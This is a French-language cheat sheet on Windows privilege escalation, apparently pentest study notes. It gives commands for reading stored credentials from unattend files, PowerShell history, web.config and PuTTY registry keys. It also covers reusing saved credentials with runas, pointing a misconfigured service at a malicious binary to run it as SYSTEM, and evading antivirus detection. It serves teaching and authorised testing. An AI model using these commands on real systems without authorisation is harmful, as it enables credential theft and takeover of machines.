L’élévation des privilèges consiste à tirer parti d’un accès utilisateur pour obtenir à un autre compte utilisateur avec des droits supérieurs en abusant d’une faiblesse du système en place.
Obtenir l’accès à différents comptes peut être aussi simple que de trouver des informations d’identification dans des fichiers texte. En fonction de la situation, il peut être nécessaire d’abuser de certaines des faiblesses suivantes :
- Mauvaises configurations des services Windows ou des tâches planifiées
- Privilèges excessifs attribués au compte
- Logiciels vulnérables
- Patchs de sécurité Windows manquants
Mots de passe en clair
Installation automatique de Windows
C:\Unattend.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\system32\sysprep.inf
C:\Windows\system32\sysprep\sysprep.xml
Historique Powershell
type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type $Env:userprofile\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
Identifiants Windows sauvegardés
Windows nous permet d’utiliser les informations d’identification d’autres utilisateurs. Cette fonction permet également d’enregistrer ces informations d’identification sur le système. La commande ci-dessous permet d’obtenir la liste des informations d’identification enregistrées :
cmdkey /list
Bien que vous ne puissiez pas voir les mots de passe réels, vous pouvez tenter de les utiliser avec la commande runas
et l’option /savecred
:
runas /savecred /user:admin cmd.exe
Configuration IIS
Internet Information Services (IIS) est le serveur web par défaut de Windows. La configuration des sites web sur IIS est stockée dans un fichier appelé web.config
et peut contenir des mots de passe pour des bases de données ou des mécanismes d’authentification configurés.
C:\inetpub\wwwroot\web.config
C:\Windows\Microsoft.NET\Framework64\<version>\Config\web.config
type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config | findstr connectionString
Clés de registre
Putty
reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\ /f "Proxy" /s
Tâches planifiées
En examinant les tâches planifiées sur le système cible, vous pouvez voir une tâche planifiée qui a perdu son binaire ou qui utilise un binaire que vous pouvez modifier.
Lister les tâches planifiées :
schtasks
Informations sur une tâche :
schtasks /query /tn vulntask /fo list /v
Services Windows
Chaque service sur une machine Windows aura un exécutable associé qui sera exécuté par le SCM chaque fois qu’un service est démarré. Chaque service spécifie également le compte d’utilisateur sous lequel il sera exécuté.
Toutes les configurations des services sont stockées dans le registre HKLM\SYSTEM\CurrentControlSet\Services\
Il faut donc rechercher les permissions non sécurisées sur un exécutable de service.
C:\> sc.exe qc VulnService
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: VulnService
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 0 IGNORE
BINARY_PATH_NAME : C:\Vulnerable\Path\MyService.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : Vulnerable Service
DEPENDENCIES :
SERVICE_START_NAME : .\vulnsvc
Si vous avec un chemin avec des espaces mais qu’il manque les guillemets :
BINARY_PATH_NAME : C:\A Vulnerable Path\MyService.exe
# au lieu de :
BINARY_PATH_NAME : "C:\A Vulnerable Path\MyService.exe"
Alors SCM tentera d’abord d’exécuter C:\A.exe
puis C:\"A Vulnerable.exe"
si il existe du fait de l’ambiguïté introduit par ces espaces.
Permissions de service non sécurisées
Vous pouvez encore avoir une petite chance de profiter d’un service si le DACL exécutable du service est bien configuré, et si le chemin binaire du service est correctement cité. Si la DACL du service (et non la DACL de l’exécutable du service) vous permet de modifier la configuration d’un service, vous pourrez reconfigurer le service. Cela vous permettra de pointer vers n’importe quel exécutable dont vous avez besoin et de l’exécuter avec le compte de votre choix, y compris le compte SYSTEM lui-même.
sc.exe config <service-name> binPath= "<evil-path>" obj= LocalSystem
Abuser de privilèges dangereux
Vous pouvez voir vos privilèges avec la commande suivante :
whoami /priv
- SeBackupPrivilege / SeRestorePrivilege : permettent aux utilisateurs de lire et d’écrire dans n’importe quel fichier du système, sans tenir compte des DACL en place. Il est possible d’extraire le hash du mot de passe de l’administrateur local.
- SeTakeOwnershipPrivilege : permet à un utilisateur de prendre possession de n’importe quel objet du système, y compris les fichiers et les clés de registre. Il est possible de rechercher un service fonctionnant sous le nom de SYSTEM et prendre possession de l’exécutable de ce service.
- SeImpersonatePrivilege / SeAssignPrimaryToken : permettent à un processus d’usurper l’identité d’autres utilisateurs et d’agir en leur nom. Il sera donc possible de créer un processus ou un thread dans le contexte de sécurité d’un autre utilisateur. ( ex: grâce à SeDebugPrivilege et SeImpersonatePrivilege, nous pouvons obtenir le compte system, en utilisant le module incognito de meterpreter)
Logiciels vulnérables
Listes des logiciels installés :
wmic product get name,version,vendor
La commande wmic product
ne renvoie pas nécessairement tous les programmes installés. Selon la manière dont certains programmes ont été installés, ils peuvent ne pas être listés.
Easy Win
WinPEAS
WinPEAS est un script développé pour énumérer les possibilités d’escalade des privilèges.
winpeas.exe > outputfile.txt
PrivescCheck
PrivescCheck est un script PowerShell qui recherche des possibilités d’escalade des privilèges. Il constitue une alternative à WinPEAS sans nécessiter l’exécution d’un fichier binaire.
Set-ExecutionPolicy Bypass -Scope process -Force
.\PrivescCheck.ps1
Invoke-PrivescCheck
WES-NG
certains scripts nécessitent que vous les téléchargiez sur le système cible et que vous les exécutiez. Cela peut amener les logiciels antivirus à les détecter et à les supprimer. Pour éviter de faire un bruit inutile qui pourrait attirer l’attention, vous pouvez préférer utiliser WES-NG, qui s’exécutera sur votre machine à distance.
Pour utiliser le script, vous devez exécuter la commande systeminfo
sur le système cible.
Ensuite utiliser la commande suivante sur votre machine distante pour lancer l’analyse :
wes.py systeminfo.txt